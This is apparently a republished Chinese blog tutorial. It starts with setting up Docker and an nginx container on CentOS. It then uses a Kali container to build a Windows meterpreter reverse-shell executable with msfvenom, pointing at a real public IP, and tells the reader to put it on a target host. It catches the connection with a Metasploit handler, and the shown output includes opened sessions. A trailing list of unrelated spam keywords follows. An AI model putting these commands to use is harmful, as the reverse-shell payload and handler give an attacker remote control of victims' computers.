docker使用教程
发表于:2025-12-01 作者:千家信息网编辑
千家信息网最后更新 2025年12月01日,1. 购买一个外网的服务器,这里我使用的是centos2. 配置yum源wget https://mirrors.ustc.edu.cn/docker-ce/linux/centos/docker-c
千家信息网最后更新 2025年12月01日docker使用教程
1. 购买一个外网的服务器,这里我使用的是centos
2. 配置yum源
wget https://mirrors.ustc.edu.cn/docker-ce/linux/centos/docker-ce.repo -O /etc/yum.repos.d/docker-ce.repoyum clean all; yum makecache fast --重新刷新yum源3. 安装与启动docker
yum -y install docker-cesystemctl restart dockersystemctl enable docker 开机自启4. 搜索与安装容器
4.1 以 nginx 为例
docker search nginx 搜索docker pull nginx 安装nginx4.2 启动 nginx
docker run --name web1 -d -p 80:80 nginx--name :表示启动的名字-d: daemon,守护进程-p:设置映射端口验证页面,输入网址即可访问对页面进行修改:
docker exec -it web1 /bin/bash 进入容器root@3e93e119b79c:/# cat /usr/share/nginx/html/ 50x.html index.htmlroot@3e93e119b79c:/# echo "test nginx page" > /usr/share/nginx/html/index.html使用exit退出,这时刷新之前的网页,nginx的欢迎页面就变成上面修改的内容了。
5. 安装外网kali
先搜索
docker search kali安装
docker pull booyaabes/kali-linux-full使用
[root@vultr ~]# docker image lsREPOSITORY TAG IMAGE ID CREATED SIZEbooyaabes/kali-linux-full latest 4bffca040c1c 6 hours ago 8.31GBnginx latest bc26f1ed35cf 16 hours ago 109MB[root@vultr ~]# docker run -it 4bffca040c1croot@c5785446988a:/# cat /etc/os-release PRETTY_NAME="Kali GNU/Linux Rolling"NAME="Kali GNU/Linux"ID=kaliVERSION="2018.4"VERSION_ID="2018.4"ID_LIKE=debianANSI_COLOR="1;31"HOME_URL="https://www.kali.org/"SUPPORT_URL="https://forums.kali.org/"BUG_REPORT_URL="https://bugs.kali.org/"直接使用即可。
如果需要监听端口,实现连接反弹shell
docker run -p 4444:4455 -it booyaabes/kali-linux-full使用docker映射容器4455端口到local上的4444端口
[root@vultr ~]# docker container lsCONTAINER ID IMAGE COMMAND CREATED STATUS PORTS NAMES8612e672d5db booyaabes/kali-linux-full "/bin/sh -c \"/bin/ba…" 2 minutes ago Up 2 minutes 0.0.0.0:4444->4455/tcp hungry_goldberg[root@vultr ~]# docker attach 8612e672d5db 进入kali容器之中制作payload(使用本地的kali制作payload)
root@kal:~# msfvenom -p windows/meterpreter/reverse_tcp LHOST=149.248.8.210 LPORT=4444 -f exe > test.exeNo platform was selected, choosing Msf::Module::Platform::Windows from the payloadNo Arch selected, selecting Arch: x86 from the payloadNo encoder or badchars specified, outputting raw payloadPayload size: 341 bytesFinal size of exe file: 73802 bytes将exe文件放到目标主机上
在kali容器中运行msf
[root@vultr ~]# docker attach 9b2fcb0c1d21root@9b2fcb0c1d21:/# msfconsole , , / \ ((__---,,,---__)) (_) O O (_)_________ \ _ / |\ o_o \ M S F | \ \ _____ | * ||| WW||| ||| ||| =[ metasploit v4.17.14-dev ]+ -- --=[ 1809 exploits - 1030 auxiliary - 313 post ]+ -- --=[ 539 payloads - 42 encoders - 10 nops ]+ -- --=[ Free Metasploit Pro trial: http://r-7.co/trymsp ]msf > use exploit/multi/handler msf exploit(multi/handler) > set payload windows/meterpreter/reverse_tcppayload => windows/meterpreter/reverse_tcpmsf exploit(multi/handler) > set lhost 149.248.8.210lhost => 149.248.8.210msf exploit(multi/handler) > set lport 4455port => 4455msf exploit(multi/handler) > run [-] Handler failed to bind to 149.248.8.210:4455:- -[*] Started reverse TCP handler on 0.0.0.0:4455 [*] Sending stage (179779 bytes) to 42.90.91.248[*] Meterpreter session 1 opened (172.17.0.3:4455 -> 42.90.91.248:11526) at 2018-09-26 09:39:23 +0000[*] Sending stage (179779 bytes) to 42.90.91.248[*] Meterpreter session 2 opened (172.17.0.3:4455 -> 42.90.91.248:11528) at 2018-09-26 09:39:25 +0000meterpreter > 这样就拿到了反弹shell
docker借鉴学习:https://yeasy.gitbooks.io/docker_practice/image/
容器
端口
页面
搜索
制作
主机
之中
内容
名字
文件
服务器
目标
网址
网页
进程
学习
服务
监听
输入
运行
数据库的安全要保护哪些东西
数据库安全各自的含义是什么
生产安全数据库录入
数据库的安全性及管理
数据库安全策略包含哪些
海淀数据库安全审计系统
建立农村房屋安全信息数据库
易用的数据库客户端支持安全管理
连接数据库失败ssl安全错误
数据库的锁怎样保障安全
交友直播软件开发公司
安全带固定点强度数据库
人社业务与数据库的连接应用功能
VM数据库产品p
南京常用网络技术电话
汨罗市网络安全宣传周活动
网络安全思想内容
论文改原数据库
SCI数据库考试祝福语
自己搭建邮件服务器难吗
长沙服务器维修电话
盈伽互联网科技
自考面向对象数据库技术真题
阿里应用服务器与云服务器区别
牡丹江软件开发公司哪家好
第几个网络安全
淘宝日本软件开发
导入数据库使用默认表空间
如何获得数据库的路径
燃气表软件开发
电信卡不能连接服务器
抚顺网络服务器机柜
服务器长期未重启会有什么影响
中华人民共和国数据库平台
香港服务器不能备案
网络安全方案指导思想
公交车上的网络安全吗
天津常见软件开发市场报价
西安小江互联网科技有限公司
软件开发环境搭建工作介绍